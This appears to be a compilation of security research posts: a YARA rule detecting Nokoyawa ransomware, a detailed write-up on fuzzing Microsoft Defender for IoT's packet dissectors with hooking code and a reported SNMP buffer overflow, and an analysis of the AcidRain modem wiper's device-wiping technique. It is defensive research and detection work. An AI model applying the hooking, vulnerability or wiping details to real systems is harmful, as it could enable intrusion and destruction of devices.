Nokoyawa YARA Rule

rule Nokoyawa_Nemty
{
    meta:  
        author = "@Tera0017"
        description = "Nokoyawa, Nemty/Karma ransomware variant"    
        Reference = "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/"
    
    strings:
        $code1 = {B8 (41| 43) 00 00 00 [10-30] 83 F8 5A}
        $code2 = {48 8B 4C 24 08 F0 0F C1 01 03 44 24 10}      
        $code3 = {83 E8 20 88 [7] 48 C1 E0 05 48 03 44 24}
        $code4 = {48 C7 44 24 ?? 05 15 00 00}
        $string1 = "RGVhciB1c2VybmFtbWUsIHlvdXIgZmlsZXMgd2VyZSBlbmNyeXB0ZWQsIHNvbWUgY" ascii
        $string2 = "-network" fullword wide
        $string3 = "-help" fullword wide
        $winapi1 = "PostQueuedCompletionStatus" fullword ascii
        $winapi2 = "GetSystemInfo" fullword ascii
        $winapi3 = "WNetEnumResourceW" fullword ascii
        $winapi4 = "GetCommandLineW" fullword ascii
        $winapi5 = "BCryptGenRandom" fullword ascii
        
    condition:
        all of ($winapi*) and 4 of ($code*, $string*)
}

Inside the Black Box | How We Fuzzed Microsoft Defender for IoT and Found Multiple Vulnerabilities

13 April 2022 at 16:29

Introduction

Following on from our post into multiple vulnerabilities in Microsoft Azure Defender for IoT, this post discusses the techniques and infrastructure we used in our vulnerability research. In particular, we focus on the fuzzing infrastructure we developed in order to fuzz the DPI mechanism.

We explore the intricacies of developing an advanced fuzzer and describe our methods along with some of the challenges we met and overcame in the process. We hope that this will be of value to other researchers and contribute to the overall aim of improving product security in the enterprise.

In order to understand the context of what follows, readers are encouraged to review our previous post on the vulnerabilities we discovered and reported in Azure Defender for IoT.

Overview of Network Dissectors in the Horizon-Parser

Deep packet inspection (DPI) in Microsoft Azure Defender For IoT is achieved via the horizon component, which is responsible for analyzing network traffic. The horizon component loads built-in dissectors and can be extended to add custom network protocol dissectors.

The DPI infrastructure consists of two docker images that run on the sensor machine, Traffic-Monitor and Horizon-Parser.

The horizon-parser container is responsible for analyzing the traffic and extracting the appropriate fields as well as alerting if anomalies occur. This is the mechanism we will focus on since it is where the DPI is.

Let’s begin by taking a look at an overview of the horizon architecture:

Soure: MSDN

The main binary that the horizon-parser executes is the horizon daemon, which is responsible for the entire DPI process. In its initialization phase, this binary loads dissectors: shared libraries that implement network protocol parsers.

As an effective way to fuzz the network dissectors, we rely on binary instrumentation and an injected library that expands AFL to facilitate fast fuzzing mechanisms. While Microsoft had left some partially unstripped binaries containing only the function names, the vast majority of this research had to be performed “black box”. In addition to this, we had to compile a lot of dependency libraries and load their symbols into IDA to make the research easier.

Microsoft has released some limited information about how to implement a custom dissector. According to this information, a dissector is implemented via the following C++ interface:

#include “plugin/plugin.h”
namespace {
 class CyberxHorizonSDK: public horizon::protocol::BaseParser
  public:
   std::vector processDissectAs(const std::map<:string std::vector>> &filters) const override {
     return std::vector();
   }
   horizon::protocol::ParserResult processLayer(horizon::protocol::management::IProcessingUtils &ctx,
                                                horizon::general::IDataBuffer &data) override {
     return horizon::protocol::ParserResult();
   }
 };
}
 
extern "C" {
  std::shared_ptr<:protocol::baseparser> create_parser() {
    return std::make_shared();
  }
}
  • processDissectAs – Called when a new plugin is loaded with a map containing the structure of dissect_as, as defined in a JSON configuration file.
  • processLayer – The main function of the dissector. Everything related to packet processing should be done here. Each time a new packet is being routed to the dissector, this function will be called.
  • create_parser – Called when the dissector is loaded, used by the horizon binary in order to recognize and register the dissector. In addition, it is responsible for an early bootstrapping of the dissector.

A dissector is built in a layered configuration, meaning that each dissector is responsible for one layer and then the horizon service is responsible for passing the outcome to the next layer in the chain:

Source: MSDN

A dissector consists of a JSON configuration file, the binary file itself, and other metadata. Understanding the JSON configuration file is not necessary to follow the rest of the post, but it’ll give you the look and feel of the system.

Below is an example of the JSON configuration file for the FTP dissector.

{
  "id": "FTP",
  "override_id": 38,
  "library": "ftp",
  "endianess": "big",
  "backward_compatability": true,
  "metadata": {
    "is_distributed_control_system": false,
    "has_protocol_address": false,
    "is_scada_protocol": false,
    "is_router_potenial": false
  },
  "sanity_failure_codes": {
    "Not enough data": 1,
    "no result identified": 2
  },
  "malformed_codes": {
    "End of line not found": 2,
    "Wrong ports": 3,
    "No token found": 4,
<redacted>
  },
  "exports_dissect_as": {},
  "dissect_as": {
    "TCP": {
      "port": ["21"]
    }
  },
  "fields": [
    {
      "id": "response_code",
      "type": "numeric"
    },
<redacted>
    {
      "id": "firmware",
      "type": "array:complex",
      "fields": [
        {
          "id": "fwid",
          "type": "string"
        },
        {
          "id": "device_id",
          "type": "string"
        }
      ]
    }
  ]
}

Below is a list of the pre-installed dissectors that come with Azure Defender For IoT sensor machine.

Our task is to fuzz processLayer, as this is the routine that is responsible for actually parsing packet data. However, fuzzing stateful network services is not a simple task in any circumstances; fuzzing it on a black box target only adds to the complexity.

Fuzzing Dissectors with E9AFL

After some testing and experimentation, we chose AFL for fuzzing the dissectors, but we had to help it a little and provide coverage feedback to actually enable it to efficiently fuzz our targets.

To overcome the lack of sources we used e9afl with minor changes to fit our goals. E9AFL is an open source binary-level instrumentation project that relies on e9patch, a powerful static binary rewriting tool for x86_64 Linux ELF binaries. Interested readers can dive more into the background of E9AFL here.

We begin our instrumentation with E9AFL using the following commands.

./e9afl readelf
mkdir -p input
mkdir -p output
head -n 1 `which ls` > input/exe
afl-fuzz -m none -i input/ -o output/ -- ./readelf.afl -a @@

For our target, we needed to make some adjustments. For the sake of speed as well as other reasons that will be explained further below, we wanted to control the fork server initialization phase. We also wanted to accurately choose an initialization spot for the binary fuzzing to start. Given these requirements, we chose to modify the init function in the inserted instrumentation by commenting out the fork server initialization. As will be explained below, we implement this initialization manually later.

At this point, it is probably worth reminding readers that, to improve performance, afl-fuzz uses a “fork server”, where the fuzzed process goes through execve(), linking, and libc initialization only once, and is then cloned from a stopped process image by leveraging copy-on-write. The implementation is described in more detail here.

The point where we chose to start the fork server is a little before the entry point of processLayer on the invoked target dissector. However, in order to do so and also support generic fuzzing for every dissector, we needed to reverse engineer the horizon binary to understand the internal structures that are passed between these routines.

Unfortunately, this turned out to be a very tedious task since the code is very large, highly complex and written in modern C++. In addition, the horizon binary implements a framework of handling network traffic data.

Instead of spending time reversing the whole structures and relevant code, we came up with another idea and facilitated a special harness. We let the horizon binary run, then stopped it at a strategic location where all the structures had been populated and were ready to use, modified the appropriate fields to insert a test case, and continued execution with the fork server.

This meant that we did not need the entire structures passed to processLayer; some can be left untyped as we only relay those pointers (e.g., Dissection Context).

typedef void* (*process_layer_t)(void* parser_result, void* base_parser, void* dissection_context, data_buffer_t* data_buffer);

The data_buffer_t struct, which contains the packet data, needs to be modified for each execution of the fuzzee to feed new test cases to the fuzzer.

typedef struct __attribute__((packed)) __attribute__((aligned(4))) data_buffer
{
    void* _vftbl;
<redacted>
    unsigned long long cursor;
    unsigned long long data_len;
    unsigned long long total_data_len;
    void* data_ptr;
    void* data_ptr_end;
    void* curr_data_ptr;
    int field_80;
} data_buffer_t;

Let’s consider a brief flowchart of the fuzzing process.

We use AFL_PRELOAD or LD_PRELOAD (depending on the execution) to inject our fuzzer helper library into the fuzzee to facilitate a fuzzing ready environment.

The first code that runs in the library is the run() function, which is sort of a shared library entry point:

__attribute__((constructor)) int run() {
    char* current_path = realpath("/proc/self/exe", NULL);
 
    if (strstr(current_path, HORIZON_PATH) == 0) {
        return -1;
    }
 
    should_hook = 1;
    return 0;
}

As shown, it checks whether the main module is horizon and if it is, it enables the hooks by setting should_hook to true.

Since this library is injected in the early stages of the process creation, we have to set a temporary hook to a function, which in turn will set the hook to the real target function. The following function was chosen by reverse engineering. We found that it was being called by horizon in later stages of execution but before the packet processing actually starts.

	int (*setsockopt_orig)(int sockfd, int level, int optname, const void* optval, socklen_t optlen);
int setsockopt(int sockfd, int level, int optname, const void* optval, socklen_t optlen) {
    if (!setsockopt_orig) setsockopt_orig = dlsym(RTLD_NEXT, "setsockopt");
    if (done_hooking || !should_hook) {
        return setsockopt_orig(sockfd, level, optname, optval, optlen);
    }
    done_hooking = 1;
    hooker();
 
    return setsockopt_orig(sockfd, level, optname, optval, optlen);
}

This is due to the fact that our library is loaded when the process isn’t fully mapped yet. This function calls the hooker function, shown below.

int hooker() {
    horizon_baseaddr = get_lib_addr("horizon") + INSTRUMENTED_OFFSET;
 
    printf("horizon_baseaddress %p aligned: %p offset: %x\n", horizon_baseaddr, horizon_baseaddr + (CALL_PROCESS_HOOK_OFFSET & 0xff000), (CALL_PROCESS_HOOK_OFFSET & 0xff000));
    int ret_val = mprotect(horizon_baseaddr + (CALL_PROCESS_HOOK_OFFSET & 0xff000), 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
 
    <redacted>
 
    addr_to_returnto = (unsigned long long)(((char*)horizon_baseaddr) + (CALL_PROCESS_HOOK_OFFSET + 13));
    void* dest = horizon_baseaddr + CALL_PROCESS_HOOK_OFFSET;
 
    jump_struct_t jump_struct;
    jump_struct.moveopcode[0] = 0x49;
    jump_struct.moveopcode[1] = 0xbb;
    jump_struct.address = (unsigned long long) trampoline;
    jump_struct.pushorjump[0] = 0x41;  
    jump_struct.pushorjump[1] = 0xff;
    jump_struct.pushorjump[2] = 0xe3;
 
    memcpy(dest, &jump_struct, sizeof(jump_struct_t));
}

The INSTRUMENTED_OFFSET is an offset added to the main module by E9AFL. As can be seen, CALL_PROCESS_HOOK_OFFSET is our target code to be hooked by the trampoline code, which is right before processLayer is invoked.

The code above is only executed when a packet arrives; thus, we send a dummy packet to the target fuzzee.

The dissectionContext structure contains the state of the layered packet. For example, an HTTP packet is composed of several layers, including: ETHERNET, IPV4, TCP and HTTP, so the dissectionContext will contain information regarding each layer in the chain.

Since reconstructing all relevant structures can be tedious, for our purposes we can use an already populated dissectionContext as we only fuzz one layer at a time.

Let’s next take a look at the trampoline() code.

__attribute__((naked)) void trampoline() {
    __asm__(
        ".intel_syntax;"
        "push %%rax;" //backup rax
        "mov %%eax, [%%rsi+0x10];"
#ifdef IS_UDP
        "cmp %%eax, 0xe23ff64c;" // DNS CONST, for UDP
#else
        "cmp %%eax, 0x3d829631;" // HTTP CONST, for TCP
#endif
        "pop %%rax;" //restore rax
        "jz prepare_fuzzer;"
        "push %%rbp;"
        "push %%rbx;"
        "sub %%rsp, 0x1b8;"
        "mov [%%rsp], %%rdi;"
        "mov %%rdi, %0;"
        "jmp %%rdi;"
        ".att_syntax;"
        :: "p" (addr_to_returnto)
    );
}

The trampoline is responsible for redirecting the execution to the prepare_fuzzer function when the proper conditions are met. When our dummy packet is received, the trampoline compares the current layer ID to the HTTP constant. Although we chose HTTP arbitrarily, it could be any Layer7 protocol that sits on top of TCP. The same goes for UDP, but we use the DNS Layer ID instead. If it doesn’t match, we restore the correct program state by manually executing the overwritten instructions and jumping back to the continuation of the hooked function.Ultimately, we want to achieve a state where the dissectionContext points to a TCP/UDP previousLayer, depending on our target. This means that we only need to change the data buffer to our test case.

In the above scenario, rsi holds a pointer to dissectionContext, which contains the layer Id in offset 0x10 (pluginId on the picture).

When the above conditions are met, our fuzzee reaches this prepare_fuzzer.

At this point, we want to ensure that this function only gets executed once for each fuzzing instance.

int prepare_fuzzer(void* res, void* dissection_context) {
    if (did_hook_happened) {
        while (true) {
            sleep(1000);
        }
    }
    did_hook_happened = 1;

Notice that the function signature matches (partly) with the horizon::protocol::ParserOrchestrator::ParserOrchestratorImpl::callProcess function.

The rest of the parameters aren’t needed for us, since we can create them ourselves.

Customizing and Running The Fuzzer

There are about 100 builtin dissectors we want to fuzz. To make our fuzzing process easier, a number of generic environment variables were added that let us change the fuzzing target directly from the command line.

const char* target_fuzzee = getenv("__TARGET_FUZZEE");
    const char* target_path = getenv("__TARGET_FUZZEE_PATH");
    const char* target_symbol = getenv("__TARGET_SYMBOL");
    const char* fuzzfile = getenv("__FUZZFILE");
 
    if (!target_fuzzee || !target_symbol || !target_path || !fuzzfile) {
        printf("Failed to get environment variables target_fuzzee: %s, target_symbol: %s target_path: %s fuzzfile: %s\n", target_fuzzee, target_symbol, target_path, fuzzfile);
        ret_val = -1;
        exit(ret_val);
    }
  • The target_fuzzee variable is used to find our target dissector base address to further lookup necessary symbols (e.g., “libhttp”).
  • The target_path variable (described later) is used for symbol lookup (e.g., “/opt/horizon/lib/horizon/http/libhttp.so”).
  • The target_symbol variable is the symbol of the processLayer routine in our target dissector, for example:
    _ZN12_GLOBAL__N_110HTTPParser12processLayerERN7horizon8protocol10management16IProcessingUtilsERNS1_7general11IDataBufferE
  • The fuzzfile variable is the file that AFL is using to feed the fork server with new test cases.

Next, the lookup for create_parser is done:

void* real_lib_handle = dlopen(target_path, RTLD_NOW);
 
    if (real_lib_handle == NULL) {
        printf("Failed to get library handle\n");
        ret_val = -1;
        exit(ret_val);
    }
 
    printf("lib handle pointer %p\n", real_lib_handle);
    create_parser_addr = dlsym(real_lib_handle, "create_parser");
 
    if (create_parser_addr == NULL) {
        printf("Failed to get create_parser address\n");
        ret_val = -1;
        exit(ret_val);
    }

Then create_parser is called in order to obtain a pluginBase object of the target dissector, which is later passed to processLayer.

    printf("create_parser address %p\n", create_parser_addr);
 
    unsigned long long out = 0;
    void** create_parser_obj = create_parser_addr(&out);
 
    printf("create_parser obj  %p\n", *create_parser_obj);

Afterwards, a number of function pointers are obtained:

  handle_t* horizon_handle = create_module_handle(horizon_baseaddr, HORIZON_PATH);
 
    if (horizon_handle == NULL) {
        printf("horizon_handle is NULL \n");
        ret_val = -1;
        exit(ret_val);
    }
 
    lib_baseaddr = get_lib_addr((char*)target_fuzzee);
    printf("lib_baseaddress %p\n", lib_baseaddr);
    handle_t* lib_handle = create_module_handle(lib_baseaddr, (char*)target_path);
 
    if (lib_handle == NULL) {
        printf("lib_handle is NULL \n");
        ret_val = -1;
        exit(ret_val);
    }
 
    data_buffer_construct_ptr = lookup_symbol(horizon_handle, "_ZN7horizon7general10DataBufferC2Ev");
    printf("data_buffer_addr: %p\n", data_buffer_construct_ptr);
 
    process_layer_t process_layer_ptr = (process_layer_t)lookup_symbol(lib_handle, target_symbol);

The create_module_handle function maps the specified path to the memory and is used to search for an address to a function using a symbol name. This is required because dlopen does not load the symbol table.

Next, we lookup a pointer to the horizon::general::DataBuffer::DataBuffer constructor that initialises the data buffer object for us, and then we populate the appropriate fields to set it to our testcase. This is performed by create_data_buffer, which is used later in the code:

data_buffer_t* create_data_buffer(unsigned char* buffer, unsigned int len) {
    printf("data buffer size: %ld\n", sizeof(data_buffer_t));
    data_buffer_t* data_buffer = malloc(sizeof(data_buffer_t));
 
    if (data_buffer == NULL) {
        printf("Failed to allocate data buffer\n");
        return NULL;
    }
 
    data_buffer_construct_ptr(data_buffer);
 
    data_buffer->cursor = 0;
    data_buffer->data_len = len;
    data_buffer->total_data_len = len;
    data_buffer->data_ptr = buffer;
    data_buffer->data_ptr_end = &buffer[len];
    data_buffer->curr_data_ptr = buffer;
 
    return data_buffer;
}

We fire up the fork server and initialize afl’s coverage bitmap. Next, we read the test case data from the specified file. Finally, we create the data buffer with the test case and call the processLayer function.

	    __afl_map_shm();
    __afl_start_forkserver();
    //special point
    FILE* f = fopen(fuzzfile, "rb");
    if (f) {
        fseek(f, 0, SEEK_END);
        length = ftell(f);
        fseek(f, 0, SEEK_SET);
        fuzzbuffer = malloc(length);
        if (fuzzbuffer) {
            fread(fuzzbuffer, 1, length, f);
        }
        fclose(f);
    }
 
    if (fuzzbuffer) {
        data_buffer_t* buffer = create_data_buffer((unsigned char*)fuzzbuffer, length);
        process_layer_ptr(parser_result, *create_parser_obj, dissection_context, buffer);
    }
 
    _exit(0); // we only fuzz one dissector at a time

Every time the fuzzer executes a new test case, the execution continues from the “special point” as marked above.

To execute the fuzzer, we used the following command:

AFL_PRELOAD=/tmp/fuzzer/libloader.so __TARGET_FUZZEE=libsnmp __TARGET_FUZZEE_PATH=/opt/horizon/lib/horizon/snmp/libsnmp.so __TARGET_SYMBOL=_ZN12_GLOBAL__N_19SNMParser12processLayerERN7horizon8protocol10management16IProcessingUtilsERNS1_7general11IDataBufferE __FUZZFILE=/tmp/fuzzer/dissectors/libsnmp/fuzzfile.txt afl-fuzz -i /tmp/fuzzer/dissectors/libsnmp/in -o /tmp/fuzzer/dissectors/libsnmp/out -f /tmp/fuzzer/dissectors/libsnmp/fuzzfile.txt -m 100000 -M libsnmpmaster /opt/horizon/bin/horizon.instrumented

When we tested our fuzzer, we experienced several stability issues.

The fuzzer reported non-reproducible crashes and stability sometimes dropped to 0.1%. This happened because horizon had several threads doing polling, which generated non-deterministic behaviour. To fix this issue  we had to block the polling before the fork server started. Thus, we introduced the following hook.

int (*poll_orig)(struct pollfd* fds, nfds_t nfds, int timeout);
int poll(struct pollfd* fds, nfds_t nfds, int timeout) {
    if (!poll_orig)
        poll_orig = dlsym(RTLD_NEXT, "poll");
    if (should_end_poll) {
        pause();
    }
 
    return poll_orig(fds, nfds, timeout);
}

Right before starting the fork server, we set should_end_poll to true, which blocks this API.

   should_end_poll = 1;
    sleep(1);
 
    __afl_map_shm();
    __afl_start_forkserver();

This fixed the stability issue and raised it to above 99.5%.

The latest version of the loader can be found here.

Enhancing the Fuzzer’s Efficiency

We’ve done some fuzzing at this point, but we wanted to enhance and efficiently use our machines’ resources. However, we could not run two fuzzing instances simultaneously on the same machine. This is due to the fact that horizon listens on some sockets which prevents other instances from running as well.

We solved this problem via two different solutions. The first solution simply closes all the relevant sockets before starting the fork server:

void closesockets() {
    int i = 0;
    for(i=0; i

The second approach eliminates the need to actually send a packet to horizon. We found that the horizon service can be used in two modes:

  • Live packet capture - When used, horizon will capture packets from a port mirror. This is the default configuration mode, rcdcap.
  • Offline mode (PCAP) - In this mode, horizon will load a PCAP file from the disk and replay the traffic.
horizon.stats.interval=5
horizon.logger.stats=/var/cyberx/logs/horizon.stats.log
horizon.logger.default=/var/cyberx/logs/horizon.log
horizon.logger.format=%Y-%m-%d %H:%M:%S,%i %p [%P - %I] - %t
horizon.processor.type=live
horizon.processor.filter=
horizon.processor.workers=1
 
<redacted>

By reverse engineering the horizon binary, we figured out that we could change the processor time to be “file” and have it load a PCAP file as mentioned above.


This eventually made the configuration file look like this:

horizon.stats.interval=5
horizon.logger.stats=/var/cyberx/logs/horizon.stats.log
horizon.logger.default=/var/cyberx/logs/horizon.log
horizon.logger.format=%Y-%m-%d %H:%M:%S,%i %p [%P - %I] - %t
horizon.processor.type=file
horizon.processor.filter=
horizon.processor.workers=1
horizon.processor.file.path=/tmp/fuzzer/traffic.pcap
horizon.processor.afpacket.caplen=4096
horizon.processor.afpacket.blocks=5
 
<redacted>

All of these enhancements enabled us to execute numerous fuzzing instances.

At this point, we created a Telegram bot to report fuzzing progress, control coverage collecting per test case, and retrieve files from the fuzzer.

Checking Results and Finding Vulnerabilities

In order to check the fuzzer’s progress, we created a Python script that takes every new test case from each fuzzing instance and runs it with Intel PIN and lighthouse library, which allows us to see the coverage more easily in IDA Pro.

We ended up finding a lot of DOS vulnerabilities, which thanks to the Data buffer framework turned out to be pretty safe. Most of the DOS bugs we found were due to infinite recursion stack overflows.

Although we did not fuzz all possible dissectors, we eventually found a buffer overflow vulnerability in libsnmp.so.

The vulnerability occurs in the processVarBindList function. When calling the OBJECT_IDENTIFIER_get_arcs function, the code doesn't check the return value correctly and is being used as a loop stop condition. This loop copies controlled data to a stack buffer.

Sending a specially crafted packet causes OBJECT_IDENTIFIER_get_arcs to fail, and return a -1 value. Afterwards, the conditional statement does not check the value properly, resulting in a buffer overflow vulnerability with controlled data.

Conclusion

The fuzzing techniques we developed here helped us to find multiple vulnerabilities in Microsoft Azure Defender for IoT. The results of our research showed that vulnerabilities in the DPI infrastructure could be triggered by simply sending a packet within the monitored network; the exploit could be directed at any device since the DPI infrastructure monitors the network traffic, and an attacker does not need to have direct access to the sensor itself, rendering these kind of vulnerabilities more dangerous.

More generally, we hope the techniques described in this post will help others to develop their own advanced fuzzers, find currently unknown vulnerabilities and improve the security of closed-source products.

AcidRain | A Modem Wiper Rains Down on Europe

31 March 2022 at 15:04

By Juan Andres Guerrero-Saade (@juanandres_gs) and Max van Amerongen (@maxpl0it)

Executive Summary

  • On Thursday, February 24th, 2022, a cyber attack rendered Viasat KA-SAT modems inoperable in Ukraine.
  • Spillover from this attack rendered 5,800 Enercon wind turbines in Germany unable to communicate for remote monitoring or control.
  • Viasat’s statement on Wednesday, March 30th, 2022 provides a somewhat plausible but incomplete description of the attack.
  • SentinelLabs researchers discovered new malware that we named ‘AcidRain’.
  • AcidRain is an ELF MIPS malware designed to wipe modems and routers.
  • We assess with medium-confidence that there are developmental similarities between AcidRain and a VPNFilter stage 3 destructive plugin. In 2018, the FBI and Department of Justice attributed the VPNFilter campaign to the Russian government
  • AcidRain is the 7th wiper malware associated with the Russian invasion of Ukraine.
  • Update: In a statement disseminated to journalists, Viasat confirmed the use of the AcidRain wiper in the February 24th attack against their modems.

Context

The Russian invasion of Ukraine has included a wealth of cyber operations that have tested our collective assumptions about the role that cyber plays in modern warfare. Some commentators have voiced a bizarre disappointment at the ‘lack of cyber’ while those at the coalface are overwhelmed by the abundance of cyber operations accompanying conventional warfare. From the beginning of 2022, we have dealt with six different strains of wiper malware targeting Ukraine: WhisperKill, WhisperGate, HermeticWiper, IsaacWiper, CaddyWiper, and DoubleZero. These attacks are notable on their own. But there’s been an elephant in the room by way of the rumored ‘satellite modem hack’. This particular attack goes beyond Ukraine.

We first became aware of an issue with Viasat KA-SAT routers due to a reported outage of 5,800 Enercon wind turbines in Germany. To clarify, the wind turbines themselves were not rendered inoperable but “remote monitoring and control of the wind turbines” became unavailable due to issues with satellite communications. The timing coincided with the Russian invasion of Ukraine and suspicions arose that an attempt to take out Ukrainian military command-and-control capabilities by hindering satellite connectivity spilled over to affect German critical infrastructure. No technical details became available; technical speculation has been rampant.

On Wednesday, March 30th, 2022, Viasat finally released a statement stating that the attack took place in two phases: First, a denial of service attack coming from “several SurfBeam2 and SurfBeam2+ modems and […other on-prem equipment…] physically located within Ukraine” that temporarily knocked KA-SAT modems offline. Then, the gradual disappearance of modems from the Viasat service. The actual service provider is in the midst of a complex arrangement where Eutalsat provides the service, but it’s administered by an Italian company called Skylogic as part of a transition plan.

The Viasat Explanation

At the time of writing, Viasat has not provided any technical indicators nor an incident response report. They did provide a general sense of the attack chain with conclusions that are difficult to reconcile.

Viasat reports that the attackers exploited a misconfigured VPN appliance, gained access to the trust management segment of the KA-SAT network, moved laterally, then used their access to “execute legitimate, targeted management commands on a large number of residential modems simultaneously”. Viasat goes on to add that “these destructive commands overwrote key data in flash memory on the modems, rendering the modems unable to access the network, but not permanently unusable”.

It remains unclear how legitimate commands could have such a disruptive effect on the modems. Scalable disruption is more plausibly achieved by pushing an update, script, or executable. It’s also hard to envision how legitimate commands would enable either the DoS effects or render the devices unusable but not permanently bricked.

In effect, the preliminary Viasat incident report posits the following requirements:

  1. Could be pushed via the KA-SAT management segment onto modems en masse
  2. Would overwrite key data in the modem’s flash memory
  3. Render the devices unusable, in need of a factory reset or replacement but not permanently unusable.

With those requirements in mind, we postulate an alternative hypothesis: The threat actor used the KA-SAT management mechanism in a supply-chain attack to push a wiper designed for modems and routers. A wiper for this kind of device would overwrite key data in the modem’s flash memory, rendering it inoperable and in need of reflashing or replacing.

Subsequent to this post being published, Viasat confirmed to journalists that our analysis was consistent with their reports.

Viasat told BleepingComputer that “The analysis in the SentinelLabs report regarding the ukrop binary is consistent with the facts in our report – specifically, SentinelLabs identifies the destructive executable that was run on the modems using a legitimate management command as Viasat previously described”.

The AcidRain Wiper

On Tuesday, March 15th, 2022, a suspicious upload caught our attention. A MIPS ELF binary was uploaded to VirusTotal from Italy with the name ‘ukrop’. We didn’t know how to parse the name accurately. Possible interpretations include a shorthand for “ukr”aine “op”eration, the acronym for the Ukrainian Association of Patriots, or a Russian ethnic slur for Ukrainians – ‘Укроп’. Only the incident responders in the Viasat case could say definitively whether this was in fact the malware used in this particular incident. We posit its use as a fitting hypothesis and will describe its functionality, quirky development traits, and possible overlaps with previous Russian operations in need of further research.

Technical Overview

SHA256 9b4dfaca873961174ba935fddaf696145afe7bbf5734509f95feb54f3584fd9a
SHA1 86906b140b019fdedaaba73948d0c8f96a6b1b42
MD5 ecbe1b1e30a1f4bffaf1d374014c877f
Name ukrop
Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
First Seen 2022-03-15 15:08:02 UTC

AcidRain’s functionality is relatively straightforward and takes a bruteforce attempt that possibly signifies that the attackers were either unfamiliar with the particulars of the target firmware or wanted the tool to remain generic and reusable. The binary performs an in-depth wipe of the filesystem and various known storage device files. If the code is running as root, AcidRain performs an initial recursive overwrite and delete of non-standard files in the filesystem.

Recursively delete files in nonstandard folders

Following this, it attempts to destroy the data in the following storage device files:

Targeted Device(s) Description
/dev/sd* A generic block device
/dev/mtdblock* Flash memory (common in routers and IoT devices)
/dev/block/mtdblock* Another potential way of accessing flash memory
/dev/mtd* The device file for flash memory that supports fileops
/dev/mmcblk* For SD/MMC cards
/dev/block/mmcblk* Another potential way of accessing SD/MMC cards
/dev/loop* Virtual block devices

This wiper iterates over all possible device file identifiers (e.g., mtdblock0 – mtdblock99), opens the device file, and either overwrites it with up to 0x40000 bytes of data or (in the case of the /dev/mtd* device file) uses the following IOCTLS to erase it: MEMGETINFO, MEMUNLOCK, MEMERASE, and MEMWRITEOOB. In order to make sure that these writes have been committed, the developers run an fsync syscall.

The code that generates the malicious data used to overwrite storage

When the overwriting method is used instead of the IOCTLs, it copies from a memory region initialized as an array of 4-byte integers starting at 0xffffffff and decrementing at each index. This matches what others had seen after the exploit had taken place.

Side-by-side comparison of a Surfbeam2 modem pre- and post-attack

The code for both erasure methods can be seen below:

Mechanisms to erase devices: write 0x40000 (left) or use MEM* IOCTLS (right)

Once the various wiping processes are complete, the device is rebooted.

Redundant attempts to reboot the device

This results in the device being rendered inoperable.

An Interesting Oddity

Despite what the Ukraine invasion has taught us, wiper malware is relatively rare. More so wiper malware aimed at routers, modems, or IoT devices. The most notable case is VPNFilter, a modular malware aimed at SOHO routers and QNAP storage devices, discovered by Talos. This was followed by an FBI indictment attributing the operation to Russia (APT28, in particular). More recently, the NSA and CISA attributed VPNFilter to Sandworm (a different threat actor attributed to the same organization, the Russian GRU) as the U.K.’s National Cyber Security Centre (NCSC) described VPNFilter’s successor, Cyclops Blink.

VPNFilter included an impressive array of functionality in the form of multi-stage plugins selectively deployed to the infected devices. The functionality ranges from credential theft to monitoring Modbus SCADA protocols. Among its many plugins, it also included functionality to wipe and brick devices as well as DDoS a target.

The reason we bring up the specter of VPNFilter is not because of its superficial similarities to AcidRain but rather because of an interesting (but inconclusive) code overlap between a specific VPNFilter plugin and AcidRain.

VPNFilter Stage 3 Plugin – ‘dstr’

SHA256 47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6
SHA1 261d012caa96d3e3b059a98388f743fb8d39fbd5
MD5 20ea405d79b4de1b90de54a442952a45
Description VPNFilter Stage 3, ‘dstr’ module
Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
First Seen 2018-06-06 13:02:56 UTC

After the initial discovery of VPNFilter, additional plugins were revealed by researchers attempting to understand the massive spread of the botnet and its many intricacies. Among these were previously unknown plugins, including ‘dstr’. As the mangled name suggests, it’s a ‘destruction’ module meant to supplement stage 2 plugins that lacked the ‘kill’ command meant to wipe the devices.

This plugin was brought to our attention initially by tlsh fuzzy hashing, a more recent matching library that’s proven far more effective than ssdeep or imphash in identifying similar samples. The similarity was at 55% to AcidRain with no other samples being flagged in the VT corpus. This alone is not nearly enough to conclusively judge the two samples as tied, but it did warrant further investigation.

VPNFilter and AcidRain are both notably similar and dissimilar. They’re both MIPS ELF binaries and the bulk of their shared code appears to stem from statically-linked libc. It appears that they may also share a compiler, most clearly evidenced by the identical Section Headers Strings Tables.

Section Headers Strings Tables for VPNFilter and AcidRain

And there are other development quirks, such as the storing of the previous syscall number to a global location before a new syscall. At this time, we can’t judge whether this is a shared compiler optimization or a strange developer quirk.

More notably, while VPNFilter and AcidRain work in very different ways, both binaries make use of the MEMGETINFO, MEMUNLOCK, and MEMERASE IOCTLS to erase mtd device files.

On the left, AcidRain; on the right, VPNFilter

There are also notable differences between VPNFilter’s ‘dstr’ plugin and AcidRain. The latter appears to be a far sloppier product that doesn’t consistently rise to the coding standards of the former. For example, note the redundant use of process forking and needless repetition of operations.

They also appear to serve different purposes, with the VPNFilter plugin targeting specific devices with hardcoded paths, and AcidRain taking more of a “one-binary-fits-all” approach to wiping devices. By brute forcing device filenames, the attackers can more readily reuse AcidRain against more diverse targets.

We invite the research community to stress test this developmental overlap and contribute their own findings.

Conclusions

As we consider what’s possibly the most important cyber attack in the ongoing Russian invasion of Ukraine, there are many open questions. Despite Viasat’s statement claiming that there was no supply-chain attack or use of malicious code on the affected routers, we posit the more plausible hypothesis that the attackers deployed AcidRain (and perhaps other binaries and scripts) to these devices in order to conduct their operation.

While we cannot definitively tie AcidRain to VPNFilter (or the larger Sandworm threat cluster), we note a medium-confidence assessment of non-trivial developmental similarities between their components and hope the research community will continue to contribute their findings in the spirit of collaboration that has permeated the threat intelligence industry over the past month.

References

https://www.wired.com/story/viasat-internet-hack-ukraine-russia/
https://www.cisa.gov/uscert/ncas/alerts/aa22-076a
https://media.defense.gov/2022/Jan/25/2002927101/-1/-1/0/CSA_PROTECTING_VSAT_COMMUNICATIONS_01252022.PDF
https://www.airforcemag.com/hackers-attacked-satellite-terminals-through-management-network-viasat-officials-say/
https://nps.edu/documents/104517539/104522593/RELIEF12-4_QLR.pdf/9cc03d09-9af4-410e-b601-a8bffdae0c30
